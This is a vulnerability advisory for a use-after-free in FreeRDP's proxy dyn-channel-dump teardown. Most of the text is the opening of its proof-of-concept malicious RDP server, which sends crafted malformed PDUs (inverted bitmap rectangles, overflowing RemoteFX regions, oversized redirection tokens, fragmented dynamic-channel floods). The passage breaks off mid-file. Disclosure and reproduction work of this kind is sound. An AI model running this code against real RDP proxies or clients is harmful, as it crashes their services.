Read the docs

Use-after-free in FreeRDP proxy dyn-channel-dump session teardown

Priority MEDIUM 42CWE-362Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
High
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-v3q2-qjvf-7rqw. Fix status from GitHub. Impact type from CWE-416 and the CVSS impact.

Summary

FreeRDP up to and including 3.32.1 has a use-after-free (CWE-416) in the freerdp-proxy dyn-channel-dump module, where a session's channel data is freed while the client thread can still read it. A malicious or compromised RDP target that sends data on an intercepted dynamic channel while the front client disconnects can trigger it. The module must be explicitly loaded and configured, since the default proxy does not load it, and the observed result is a memory-safety failure in the proxy process.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

A malicious or compromised RDP target can send data on an intercepted dynamic channel while the front client disconnects. When `freerdp-proxy` is configured with the shipped `dyn-channel-dump` module, its front thread deletes per-session `ChannelData` before joining the client thread. The module-data table keeps the freed pointer because `pf_modules_set_plugin_data(..., nullptr)` returns without clearing it. The client thread can then read the freed object while processing target-to-front channel data. An isolated ASan proxy run reported `heap-use-after-free`; four unaided hits occurred in 40 sessions using a fragmented-message driver. A separate debugger-steered run reproduced the same free/use ordering once in one attempt. The `dyn-channel-dump` module must be explicitly loaded and configured for the dynamic channel. The default proxy does not load it. The observed result is memory-safety failure in the proxy process; code execution and information disclosure were not demonstrated. The decisive code is unchanged in FreeRDP 3.32.0 and 3.32.1. ### Source sequence * `server/proxy/pf_server.c`, `pf_server_handle_peer`: `HOOK_TYPE_SERVER_SESSION_END` runs before `WaitForSingleObject(pdata->client_thread, INFINITE)`. * `server/proxy/modules/dyn-channel-dump/dyn-channel-dump.cpp`, `dump_set_plugin_data`: `delete cdata` runs for session end, then calls `SetPluginData(..., nullptr)`. * `server/proxy/pf_modules.c`, `pf_modules_set_plugin_data`: the null-data case returns without removing the table entry. * The still-running client thread reaches `dump_dyn_channel_intercept` and `ChannelData::dump_enabled` through target-to-front `drdynvc` data. ### Reproduction The following four blocks contain the complete local two-peer PoC: a FreeRDP API backend that sends the `evil` dynamic-channel traffic, a quiet front DVC plugin, a watcher that disconnects the front session during module activity, and a runner. Save each block using the shown relative filename in one disposable directory. The runner adapts archived commands to user-provided paths and was **not rerun**; the observations above come from the retained 3.32.1-dev ASan campaign. It requires a separately built ASan FreeRDP 3.32.1 tree and local test credentials. It deliberately terminates test sessions and can abort the proxy. `flood_server.c`: ```c /* * Local FreeRDP API test server used by the proxy teardown reproducer. * * FreeRDP 3.32.1-dev0 @ 599262d19136633c7f3fe961e37cfd8dd4e1a753. * * The program is a deliberately malicious RDP server built on the public * in-tree freerdp_peer / freerdp_listener API (the same plumbing used by * server/Sample/sfreerdp.c). It performs the full connection sequence * (NEGO + NLA against the SAM file, MCS/GCC, licensing, capability exchange) * and then, depending on --mode, emits one crafted PDU: * * bitmap : fastpath BITMAP update with an inverted destination rectangle * (destRight < destLeft) * rfx : fastpath SURFCMDS SET_SURFACE_BITS carrying a RemoteFX payload * whose WBT_REGION rect has x = 0xFFFF * caps : Demand-Active BITMAP capability set with a huge desktop size * (bounded; default 32768x32768) * alpha : RDPGFX WIRETOSURFACE_1 (codecId=ALPHA) with a zero-width dest * rect and compressed=0 * redir : RDP_SERVER_REDIRECTION with an oversized LoadBalanceInfo used as * an X.224 routing token * none : baseline only (no crafted PDU) * */ #include <freerdp/config.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/winpr.h> #include <winpr/crt.h> #include <winpr/assert.h> #include <winpr/ssl.h> #include <winpr/synch.h> #include <winpr/thread.h> #include <winpr/sysinfo.h> #include <winpr/winsock.h> #include <freerdp/freerdp.h> #include <freerdp/constants.h> #include <freerdp/listener.h> #include <freerdp/peer.h> #include <freerdp/settings.h> #include <freerdp/update.h> #include <freerdp/redirection.h> #include <freerdp/transport_io.h> #include <freerdp/log.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <freerdp/channels/drdynvc.h> #include <freerdp/channels/rdpgfx.h> #include <freerdp/server/rdpgfx.h> #include "channels/rdpgfx/server/rdpgfx_main.h" #include "libfreerdp/core/server.h" #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #define TAG SERVER_TAG("malicious") typedef enum { MODE_NONE = 0, MODE_BITMAP, MODE_RFX, MODE_CAPS, MODE_ALPHA, MODE_REDIR, MODE_AMP, MODE_RACE, MODE_FLOOD, MODE_GFXIDLE } run_mode_t; typedef struct { run_mode_t mode; const char* mode_name; UINT16 port; const char* bind_address; const char* cert; const char* key; const char* sam; const char* sec; /* nla | tls | rdp */ UINT32 caps_width; UINT32 caps_height; UINT32 redir_len; UINT32 max_seconds; UINT32 payload; UINT32 burst; UINT32 msg_size; UINT32 frag_size; const char* dump_file; const char* wire_dump; BOOL keep_alive; } server_config; typedef struct { rdpContext _p; server_config* cfg; HANDLE vcm; BOOL activated; BOOL sent; BOOL gfx_opened; int amp_state; UINT64 amp_t0; RdpgfxServerContext* gfx; rdpTransportIo io; FILE* wire_fp; } peer_context; static volatile sig_atomic_t g_stop = 0; static void on_signal(int sig) { (void)sig; g_stop = 1; } static const char* mode_name(run_mode_t mode) { switch (mode) { case MODE_BITMAP: return "bitmap"; case MODE_RFX: return "rfx"; case MODE_CAPS: return "caps"; case MODE_ALPHA: return "alpha"; case MODE_REDIR: return "redir"; case MODE_AMP: return "amp"; case MODE_RACE: return "race"; case MODE_FLOOD: return "flood"; case MODE_GFXIDLE: return "gfxidle"; default: return "none"; } } static run_mode_t parse_mode(const char* s) { if (strcmp(s, "bitmap") == 0) return MODE_BITMAP; if (strcmp(s, "rfx") == 0) return MODE_RFX; if (strcmp(s, "caps") == 0) return MODE_CAPS; if (strcmp(s, "alpha") == 0) return MODE_ALPHA; if (strcmp(s, "redir") == 0) return MODE_REDIR; if (strcmp(s, "amp") == 0) return MODE_AMP; if (strcmp(s, "race") == 0) return MODE_RACE; if (strcmp(s, "flood") == 0) return MODE_FLOOD; if (strcmp(s, "gfxidle") == 0) return MODE_GFXIDLE; return MODE_NONE; } static void log_hex(const char* what, const BYTE* data, size_t len) { char line[4096] = WINPR_C_ARRAY_INIT; size_t pos = 0; pos += (size_t)snprintf(&line[pos], sizeof(line) - pos, "[PDU] %s len=%" PRIuz " hex=", what, len); for (size_t i = 0; (i < len) && ((pos + 3) < sizeof(line)); i++) pos += (size_t)snprintf(&line[pos], sizeof(line) - pos, "%02" PRIx8, data[i]); WLog_INFO(TAG, "%s", line); } static void put_u16(BYTE* p, UINT16 v) { p[0] = (BYTE)(v & 0xFF); p[1] = (BYTE)(v >> 8); } static void put_u32(BYTE* p, UINT32 v) { p[0] = (BYTE)(v & 0xFF); p[1] = (BYTE)((v >> 8) & 0xFF); p[2] = (BYTE)((v >> 16) & 0xFF); p[3] = (BYTE)((v >> 24) & 0xFF); } /* ------------------------------------------------------------------ */ /* bitmap-mode: fastpath BITMAP update with inverted destination rect */ /* ------------------------------------------------------------------ */ static BOOL send_bitmap_inverted(peer_context* pc) { rdpUpdate* update = pc->_p.update; WINPR_ASSERT(update); WINPR_ASSERT(update->BitmapUpdate); /* 1x1, 32bpp, 4 bytes of uncompressed data. The library writer copies * these fields verbatim into the TS_BITMAP_DATA header (no ordering * check in update_write_bitmap_data_header). */ BYTE payload[4] = { 0x11, 0x22, 0x33, 0x44 }; BITMAP_DATA bd = WINPR_C_ARRAY_INIT; bd.destLeft = 2; bd.destTop = 0; bd.destRight = 0; /* destRight < destLeft -> client width underflow */ bd.destBottom = 0; bd.width = 1; bd.height = 1; bd.bitsPerPixel = 32; bd.flags = 0; bd.bitmapLength = sizeof(payload); bd.bitmapDataStream = payload; bd.compressed = FALSE; BITMAP_UPDATE bu = WINPR_C_ARRAY_INIT; bu.number = 1; bu.rectangles = &bd; bu.skipCompression = TRUE; /* TS_BITMAP_DATA as it will appear on the wire (24 bytes + payload). */ BYTE wire[32] = WINPR_C_ARRAY_INIT; put_u16(&wire[0], (UINT16)bd.destLeft); put_u16(&wire[2], (UINT16)bd.destTop); put_u16(&wire[4], (UINT16)bd.destRight); put_u16(&wire[6], (UINT16)bd.destBottom); put_u16(&wire[8], (UINT16)bd.width); put_u16(&wire[10], (UINT16)bd.height); put_u16(&wire[12], (UINT16)bd.bitsPerPixel); put_u16(&wire[14], (UINT16)bd.flags); put_u16(&wire[16], (UINT16)bd.bitmapLength); put_u16(&wire[18], 0); /* cbCompFirstRowSize */ put_u16(&wire[20], 0); /* cbCompMainBodySize */ put_u16(&wire[22], 0); /* cbScanWidth */ put_u16(&wire[24], 0); /* cbUncompressedSize */ memcpy(&wire[26], payload, sizeof(payload)); log_hex("bitmap-mode TS_BITMAP_DATA (destLeft=2 destRight=0)", wire, 26 + sizeof(payload)); WLog_INFO(TAG, "bitmap-mode: sending fastpath FASTPATH_UPDATETYPE_BITMAP " "dest=(%u,%u)-(%u,%u) w=%u h=%u bpp=%u bitmapLength=%u uncompressed", bd.destLeft, bd.destTop, bd.destRight, bd.destBottom, bd.width, bd.height, bd.bitsPerPixel, bd.bitmapLength); return update->BitmapUpdate(update->context, &bu); } /* ------------------------------------------------------------------ */ /* rfx-mode: fastpath SURFCMDS RFX region rect x = 0xFFFF */ /* ------------------------------------------------------------------ */ static BOOL send_rfx_surfcmds(peer_context* pc) { rdpUpdate* update = pc->_p.update; WINPR_ASSERT(update); WINPR_ASSERT(update->SurfaceCommand); /* RFX payload: WBT_SYNC/WBT_CONTEXT/WBT_CODEC_VERSIONS/WBT_CHANNELS/ * WBT_FRAME_BEGIN/WBT_REGION with rect x=0xFFFF and an invalid * regionType (0x0000), exactly as validated in * an earlier RFX test. */ BYTE rfx[512] = WINPR_C_ARRAY_INIT; size_t rp = 0; /* WBT_SYNC */ put_u16(&rfx[rp], 0xCCC0); rp += 2; put_u32(&rfx[rp], 12); rp += 4; put_u32(&rfx[rp], 0xCACCACCA); rp += 4; put_u16(&rfx[rp], 0x0100); rp += 2; /* WBT_CONTEXT */ put_u16(&rfx[rp], 0xCCC3); rp += 2; put_u32(&rfx[rp], 13); rp += 4; rfx[rp++] = 0x01; rfx[rp++] = 0xFF; rfx[rp++] = 0x00; put_u16(&rfx[rp], 0x0040); rp += 2; put_u16(&rfx[rp], 0x0200); rp += 2; /* WBT_CODEC_VERSIONS */ put_u16(&rfx[rp], 0xCCC1); rp += 2; put_u32(&rfx[rp], 10); rp += 4; rfx[rp++] = 0x01; rfx[rp++] = 0x01; put_u16(&rfx[rp], 0x0100); rp += 2; /* WBT_CHANNELS */ put_u16(&rfx[rp], 0xCCC2); rp += 2; put_u32(&rfx[rp], 12); rp += 4; rfx[rp++] = 0x01; rfx[rp++] = 0x00; put_u16(&rfx[rp], 0x0040); rp += 2; put_u16(&rfx[rp], 0x0040); rp += 2; /* WBT_FRAME_BEGIN */ put_u16(&rfx[rp], 0xCCC4); rp += 2; put_u32(&rfx[rp], 14); rp += 4; rfx[rp++] = 0x01; rfx[rp++] = 0x00; put_u32(&rfx[rp], 0); rp += 4; put_u16(&rfx[rp], 1); rp += 2; /* WBT_REGION: numRects=1, rect x=0xFFFF y=0 w=1 h=1, regionType=0x0000 */ put_u16(&rfx[rp], 0xCCC6); rp += 2; put_u32(&rfx[rp], 23); rp += 4; rfx[rp++] = 0x01; rfx[rp++] = 0x00; rfx[rp++] = 0x00; put_u16(&rfx[rp], 1); rp += 2; put_u16(&rfx[rp], 0xFFFF); rp += 2; put_u16(&rfx[rp], 0); rp += 2; put_u16(&rfx[rp], 1); rp += 2; put_u16(&rfx[rp], 1); rp += 2; put_u16(&rfx[rp], 0); rp += 2; put_u16(&rfx[rp], 1); rp += 2; /* TS_SURFACE_BITS_COMMAND (MS-RDPBCGR 2.2.9.2.2) */ BYTE pdu[1024] = WINPR_C_ARRAY_INIT; size_t p = 0; put_u16(&pdu[p], 0x0001); /* CMDTYPE_SET_SURFACE_BITS */ p += 2; put_u16(&pdu[p], 1); /* destLeft = 1 (nonzero so left + rect->x overflows) */ p += 2; put_u16(&pdu[p], 0); /* destTop */ p += 2; put_u16(&pdu[p], 2); /* destRight (must be > destLeft) */ p += 2; put_u16(&pdu[p], 1); /* destBottom (must be > destTop) */ p += 2; pdu[p++] = 32; /* bpp */ pdu[p++] = 0x00; /* flags */ pdu[p++] = 0x00; /* reserved */ pdu[p++] = 0x03; /* codecID = RDP_CODEC_ID_REMOTEFX (1 byte on the wire) */ put_u16(&pdu[p], 1); /* width */ p += 2; put_u16(&pdu[p], 1); /* height */ p += 2; put_u32(&pdu[p], (UINT32)rp); /* bitmapDataLength */ p += 4; memcpy(&pdu[p], rfx, rp); p += rp; log_hex("rfx-mode SURFCMDS SET_SURFACE_BITS+RFX", pdu, p); WLog_INFO(TAG, "rfx-mode: sending fastpath FASTPATH_UPDATETYPE_SURFCMDS " "dest=(1,0)-(2,1) codecID=0x0003 RFX region rect x=0xFFFF"); wStream* s = Stream_New(nullptr, p); if (!s) return FALSE; Stream_Write(s, pdu, p); const BOOL rc = update->SurfaceCommand(update->context, s); Stream_Free(s, TRUE); return rc; } /* ------------------------------------------------------------------ */ /* redirection-mode: RDP_SERVER_REDIRECTION with oversized LoadBalanceInfo */ /* ------------------------------------------------------------------ */ static BOOL send_oversized_redirection(freerdp_peer* client) { server_config* cfg = client->ContextExtra; WINPR_ASSERT(cfg); WINPR_ASSERT(client->SendServerRedirection); const size_t len = cfg->redir_len; BYTE* token = calloc(1, len); if (!token) return FALSE; for (size_t i = 0; i < len; i++) token[i] = (BYTE)('A' + (i % 26)); rdpRedirection* redirection = redirection_new(); if (!redirection) { free(token); return FALSE; } BOOL ok = redirection_set_flags(redirection, LB_TARGET_NET_ADDRESS | LB_LOAD_BALANCE_INFO); ok = ok && redirection_set_string_option(redirection, LB_TARGET_NET_ADDRESS, "127.0.0.1"); ok = ok && redirection_set_byte_option(redirection, LB_LOAD_BALANCE_INFO, token, len); if (ok) log_hex("redirection-mode redirection LoadBalanceInfo", token, len); WLog_INFO(TAG, "redirection-mode: sending PDU_TYPE_SERVER_REDIRECTION flags=0x%08" PRIx32 " LoadBalanceInfoLength=%" PRIuz, LB_TARGET_NET_ADDRESS | LB_LOAD_BALANCE_INFO, len); if (ok) ok = client->SendServerRedirection(client, redirection); redirection_free(redirection); free(token); return ok; } /* ------------------------------------------------------------------ */ /* alpha-mode: RDPGFX WIRETOSURFACE_1 zero-width ALPHA */ /* ------------------------------------------------------------------ */ static UINT gfx_cache_import_offer(RdpgfxServerContext* context, const RDPGFX_CACHE_IMPORT_OFFER_PDU* offer) { WINPR_ASSERT(context); WLog_ERR(TAG, "CACHEIMPORTOFFER RECEIVED FROM FRONT: entries=%" PRIu16, offer ? offer->cacheEntriesCount : 0); return CHANNEL_RC_OK; } static UINT gfx_caps_advertise(RdpgfxServerContext* context, const RDPGFX_CAPS_ADVERTISE_PDU* capsAdvertise) { peer_context* pc = (peer_context*)context->custom; WINPR_ASSERT(pc); WINPR_ASSERT(capsAdvertise); WLog_INFO(TAG, "RDPGFX CapsAdvertise capsSetCount=%" PRIu16, capsAdvertise->capsSetCount); if (capsAdvertise->capsSetCount < 1) return ERROR_INVALID_DATA; /* Use the client's first advertised capset as-is; the client accepts * whatever the server confirms (no version re-validation client-side). */ RDPGFX_CAPSET chosen = capsAdvertise->capsSets[0]; RDPGFX_CAPS_CONFIRM_PDU confirm = { .capsSet = &chosen }; UINT rc = context->CapsConfirm(context, &confirm); if (rc != CHANNEL_RC_OK) return rc; RDPGFX_CREATE_SURFACE_PDU create = WINPR_C_ARRAY_INIT; create.surfaceId = 1; create.width = 64; create.height = 64; create.pixelFormat = GFX_PIXEL_FORMAT_XRGB_8888; rc = context->CreateSurface(context, &create); if (rc != CHANNEL_RC_OK) return rc; if (pc->cfg->mode == MODE_GFXIDLE) { WLog_ERR(TAG, "GFXIDLE: caps confirmed, waiting for front cache import offer"); pc->sent = TRUE; return CHANNEL_RC_OK; } BYTE payload[4] = { 0x4C, 0x41, 0x00, 0x00 }; /* RDPGFX WIRETOSURFACE_2 has no destRect on the wire: the client leaves * RDPGFX_SURFACE_COMMAND left/top/right/bottom/width/height zero-initialised * (channels/rdpgfx/client/rdpgfx_main.c rdpgfx_recv_wire_to_surface_2_pdu) * and calls logSurfaceCommand() directly, bypassing rdpgfx_read_rect16() * (which would reject an empty rect for WIRETOSURFACE_1). codecId=ALPHA * with that zero-width command reaches gdi_SurfaceCommand_Alpha(). */ BYTE wire[64] = WINPR_C_ARRAY_INIT; size_t p = 0; put_u16(&wire[p], RDPGFX_CMDID_WIRETOSURFACE_2); p += 2; /* cmdId */ put_u16(&wire[p], 0); p += 2; /* flags (uncompressed) */ const UINT32 pdu_len = 8 + RDPGFX_WIRE_TO_SURFACE_PDU_2_SIZE + (UINT32)sizeof(payload); put_u32(&wire[p], pdu_len); p += 4; /* pduLength */ put_u16(&wire[p], 1); p += 2; /* surfaceId */ put_u16(&wire[p], RDPGFX_CODECID_ALPHA); p += 2; /* codecId = 0x000C */ put_u32(&wire[p], 0); p += 4; /* codecContextId */ wire[p++] = GFX_PIXEL_FORMAT_XRGB_8888; /* pixelFormat = 0x20 */ put_u32(&wire[p], sizeof(payload)); p += 4; /* bitmapDataLength */ memcpy(&wire[p], payload, sizeof(payload)); p += sizeof(payload); log_hex("alpha-mode RDPGFX WIRETOSURFACE_2 ALPHA PDU", wire, p); WLog_INFO(TAG, "alpha-mode: sending raw RDPGFX WIRETOSURFACE_2 codecId=ALPHA(0x000C) " "(no destRect -> client cmd width=0, compressed=0)"); RdpgfxServerPrivate* priv = context->priv; if (!priv || !priv->rdpgfx_channel || !priv->zgfx) { WLog_ERR(TAG, "RDPGFX channel handle unavailable"); return ERROR_INTERNAL_ERROR; } /* The client unconditionally ZGFX-decompresses every RDPGFX DVC packet * (channels/rdpgfx/client/rdpgfx_main.c rdpgfx_on_data_received), so wrap the * raw PDU the same way rdpgfx_server_packet_send() does. */ wStream* fs = Stream_New(nullptr, p + 7 + (p / ZGFX_SEGMENTED_MAXSIZE + 1) * 4); if (!fs) return CHANNEL_RC_NO_MEMORY; UINT32 flags = 0; if (zgfx_compress_to_stream(priv->zgfx, fs, wire, (UINT32)p, &flags) < 0) { WLog_ERR(TAG, "zgfx_compress_to_stream failed"); Stream_Free(fs, TRUE); return ERROR_INTERNAL_ERROR; } ULONG written = 0; const size_t flen = Stream_GetPosition(fs); if (!WTSVirtualChannelWrite(priv->rdpgfx_channel, Stream_BufferAs(fs, char), (UINT32)flen, &written)) { WLog_ERR(TAG, "WTSVirtualChannelWrite failed"); Stream_Free(fs, TRUE); return ERROR_INTERNAL_ERROR; } Stream_Free(fs, TRUE); pc->sent = TRUE; return CHANNEL_RC_OK; } /* ------------------------------------------------------------------ */ /* peer plumbing */ /* ------------------------------------------------------------------ */ static int hook_write_pdu(rdpTransport* transport, wStream* s) { rdpContext* context = transport_get_context(transport); peer_context* pc = (peer_context*)context; WINPR_ASSERT(pc); WINPR_ASSERT(pc->io.WritePdu); if (pc->wire_fp && (Stream_GetPosition(s) > 0)) { const BYTE* data = Stream_Buffer(s); const size_t len = MIN(Stream_GetPosition(s), (size_t)4096); char line[8192] = WINPR_C_ARRAY_INIT; size_t pos = 0; pos += (size_t)snprintf(&line[pos], sizeof(line) - pos, "TX %" PRIuz " ", Stream_GetPosition(s)); for (size_t i = 0; (i < len) && ((pos + 3) < sizeof(line)); i++) pos += (size_t)snprintf(&line[pos], sizeof(line) - pos, "%02" PRIx8, data[i]); (void)fprintf(pc->wire_fp, "%s\n", line); (void)fflush(pc->wire_fp); } return pc->io.WritePdu(transport, s); } static BOOL peer_context_new(freerdp_peer* client, rdpContext* ctx) { peer_context* pc = (peer_context*)ctx; WINPR_ASSERT(client); WINPR_ASSERT(pc); pc->cfg = (server_config*)client->ContextExtra; pc->vcm = WTSOpenServerA((LPSTR)client->context); if (!pc->vcm || (pc->vcm == INVALID_HANDLE_VALUE)) return FALSE; return TRUE; } static void peer_context_free(freerdp_peer* client, rdpContext* ctx) { peer_context* pc = (peer_context*)ctx; WINPR_UNUSED(client); WINPR_ASSERT(pc); if (pc->gfx) { rdpgfx_server_context_free(pc->gfx); pc->gfx = nullptr; } if (pc->wire_fp) { fclose(pc->wire_fp); pc->wire_fp = nullptr; } if (pc->vcm && (pc->vcm != INVALID_HANDLE_VALUE)) { WTSCloseServer(pc->vcm); pc->vcm = nullptr; } } static BOOL peer_capabilities_caps(peer_context* pc) { rdpSettings* settings = pc->_p.settings; WINPR_ASSERT(settings); server_config* cfg = pc->cfg; WINPR_ASSERT(cfg); WLog_INFO(TAG, "desktop-cap-mode: overriding Demand-Active BITMAP cap desktop to %" PRIu32 "x%" PRIu32 " (desktopResizeFlag=%d)", cfg->caps_width, cfg->caps_height, freerdp_settings_get_bool(settings, FreeRDP_DesktopResize)); if (!freerdp_settings_set_uint32(settings, FreeRDP_DesktopWidth, cfg->caps_width)) return FALSE; if (!freerdp_settings_set_uint32(settings, FreeRDP_DesktopHeight, cfg->caps_height)) return FALSE; return TRUE; } static BOOL peer_capabilities(freerdp_peer* client) { peer_context* pc = (peer_context*)client->context; WINPR_ASSERT(pc); if (pc->cfg->mode == MODE_CAPS) return peer_capabilities_caps(pc); return TRUE; } static BOOL peer_post_connect(freerdp_peer* client) { peer_context* pc = (peer_context*)client->context; WINPR_ASSERT(pc); WLog_INFO(TAG, "client post-connect (activation sequence complete)"); if (((pc->cfg->mode == MODE_ALPHA) || (pc->cfg->mode == MODE_GFXIDLE)) && !pc->gfx) { RdpgfxServerContext* gfx = rdpgfx_server_context_new(pc->vcm); if (!gfx) { WLog_ERR(TAG, "rdpgfx_server_context_new failed"); return FALSE; } gfx->rdpcontext = &pc->_p; gfx->custom = pc; gfx->CapsAdvertise = gfx_caps_advertise; gfx->CacheImportOffer = gfx_cache_import_offer; if (!IFCALLRESULT(FALSE, gfx->Initialize, gfx, TRUE)) { WLog_ERR(TAG, "rdpgfx_server Initialize failed"); rdpgfx_server_context_free(gfx); return FALSE; } pc->gfx = gfx; WLog_INFO(TAG, "RDPGFX server context created (channel will open on DVC ready)"); } return TRUE; } static BOOL peer_activate(freerdp_peer* client) { peer_context* pc = (peer_context*)client->context; WINPR_ASSERT(pc); pc->activated = TRUE; WLog_INFO(TAG, "SERVER ACTIVE: client=%s mode=%s", client->hostname, pc->cfg->mode_name); if (!pc->sent) { BOOL ok = TRUE; switch (pc->cfg->mode) { case MODE_BITMAP: ok = send_bitmap_inverted(pc); break; case MODE_RFX: ok = send_rfx_surfcmds(pc); break; case MODE_REDIR: ok = send_oversized_redirection(client); break; default: ok = TRUE; break; } if (!ok) WLog_ERR(TAG, "failed to send crafted PDU for mode %s", pc->cfg->mode_name); else if (pc->cfg->mode != MODE_NONE && pc->cfg->mode != MODE_CAPS && pc->cfg->mode != MODE_ALPHA) pc->sent = TRUE; } /* keep-alive: stay connected until the run script tears the server down so * the client has time to process the crafted PDU */ return TRUE; } static BOOL peer_init(freerdp_peer* client) { WINPR_ASSERT(client); client->ContextSize = sizeof(peer_context); client->ContextNew = peer_context_new; client->ContextFree = peer_context_free; return freerdp_peer_context_new(client); } static BOOL peer_setup_settings(freerdp_peer* client) { server_config* cfg = client->ContextExtra; rdpSettings* settings = client->context->settings; WINPR_ASSERT(cfg); WINPR_ASSERT(settings); /* Certificates */ rdpPrivateKey* key = freerdp_key_new_from_file_enc(cfg->key, nullptr); if (!key) { WLog_ERR(TAG, "failed to load key %s", cfg->key); return FALSE; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1)) return FALSE; rdpCertificate* cert = freerdp_certificate_new_from_file(cfg->cert); if (!cert) { WLog_ERR(TAG, "failed to load cert %s", cfg->cert); return FALSE; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) return FALSE; /* Security layer. Default: NLA + Early User Auth, like the E2E baseline. */ if (strcmp(cfg->sec, "rdp") == 0) { if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_UseRdpSecurityLayer, TRUE)) return FALSE; } else if (strcmp(cfg->sec, "tls") == 0) { if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE)) return FALSE; } else { if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_UseRdpSecurityLayer, FALSE)) return FALSE; if (!freerdp_settings_set_string(settings, FreeRDP_NtlmSamFile, cfg->sam)) return FALSE; } if (!freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_RemoteFxCodec, TRUE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_NSCodec, TRUE)) return FALSE; if (!freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_SupportGraphicsPipeline, TRUE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_SuppressOutput, TRUE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_RefreshRect, TRUE)) return FALSE; if (!freerdp_settings_set_uint32(settings, FreeRDP_MultifragMaxRequestSize, 0xFFFFFF)) return FALSE; if (cfg->dump_file) { if (!freerdp_settings_set_bool(settings, FreeRDP_TransportDump, TRUE) || !freerdp_settings_set_string(settings, FreeRDP_TransportDumpFile, cfg->dump_file)) return FALSE; WLog_INFO(TAG, "transport dump enabled: %s", cfg->dump_file); } return TRUE; } /* ------------------------------------------------------------------ */ /* dyn-channel-dump amplification driver: raw VC fragments of a single */ /* DVC DATA_FIRST PDU with CHANNEL_FLAG_FIRST only on the first VC PDU */ /* and CHANNEL_FLAG_LAST only on the last. This makes the proxy's */ /* static-channel tracker hand dyn-channel-dump an ever-growing prefix */ /* on every fragment (the accumulated-buffer contract). */ /* ------------------------------------------------------------------ */ #define AMP_DVC_ID 42u #define AMP_DVC_NAME "Microsoft::Windows::RDS::Graphics" static BOOL amp_send_create(freerdp_peer* client, WTSVirtualChannelManager* vcm) { WINPR_ASSERT(client); WINPR_ASSERT(vcm); WINPR_ASSERT(vcm->drdynvc_channel); const UINT16 dvcid = vcm->drdynvc_channel->channelId; BYTE buf[64] = WINPR_C_ARRAY_INIT; size_t pos = 0; buf[pos++] = (BYTE)((CREATE_REQUEST_PDU << 4) | 0x00); /* cbChId = 0 */ buf[pos++] = (BYTE)(AMP_DVC_ID & 0xFF); memcpy(&buf[pos], AMP_DVC_NAME, sizeof(AMP_DVC_NAME)); pos += sizeof(AMP_DVC_NAME); WLog_INFO(TAG, "AMP: DVC CREATE '%s' id=%u over drdynvc channelId=%u (%zu bytes)", AMP_DVC_NAME, AMP_DVC_ID, dvcid, pos); return client->SendChannelPacket(client, dvcid, pos, CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, buf, pos); } static BOOL amp_send_packets(freerdp_peer* client, WTSVirtualChannelManager* vcm) { const UINT16 dvcid = vcm->drdynvc_channel->channelId; const UINT32 payload = 9999; const size_t chunk = 50; const size_t total = 4 + payload; const UINT32 packets = 5; size_t fragments = 0; BYTE* pdu = (BYTE*)malloc(total); if (!pdu) return FALSE; /* DVC DATA_FIRST header: cmd=2, cbLen=1 (2-byte length), cbChId=0 */ pdu[0] = (BYTE)((DATA_FIRST_PDU << 4) | (0x01 << 2) | 0x00); pdu[1] = (BYTE)(AMP_DVC_ID & 0xFF); pdu[2] = (BYTE)(payload & 0xFF); pdu[3] = (BYTE)((payload >> 8) & 0xFF); memset(&pdu[4], 0x41, payload); for (UINT32 p = 0; p < packets; p++) { size_t off = 0; size_t left = total; while (left > 0) { const size_t n = (left > chunk) ? chunk : left; UINT32 flags = 0; if (off == 0) flags |= CHANNEL_FLAG_FIRST; if ((off + n) >= total) flags |= CHANNEL_FLAG_LAST; if (!client->SendChannelPacket(client, dvcid, total, flags, &pdu[off], n)) { WLog_ERR(TAG, "AMP: SendChannelPacket failed at packet=%u off=%zu", p, off); free(pdu); return FALSE; } off += n; left -= n; fragments++; } } WLog_INFO(TAG, "AMP: sent %zu VC fragments; logical PDU=%zu payload=%u chunk=%zu packets=%u", fragments, total, payload, chunk, packets); free(pdu); return TRUE; } static void amp_step(freerdp_peer* client, peer_context* pc, WTSVirtualChannelManager* vcm) { switch (pc->amp_state) { case 0: if (!amp_send_create(client, vcm)) WLog_ERR(TAG, "AMP: failed to send DVC CREATE"); pc->amp_t0 = GetTickCount64(); pc->amp_state = 1; break; case 1: if ((GetTickCount64() - pc->amp_t0) >= 2000) { (void)amp_send_packets(client, vcm); pc->amp_state = 2; } break; default: break; } } static BOOL raw_send_create(freerdp_peer* client, WTSVirtualChannelManager* vcm, UINT32 id, const char* name); /* initial dump-teardown driver: continuously send back->front DRDYNVC 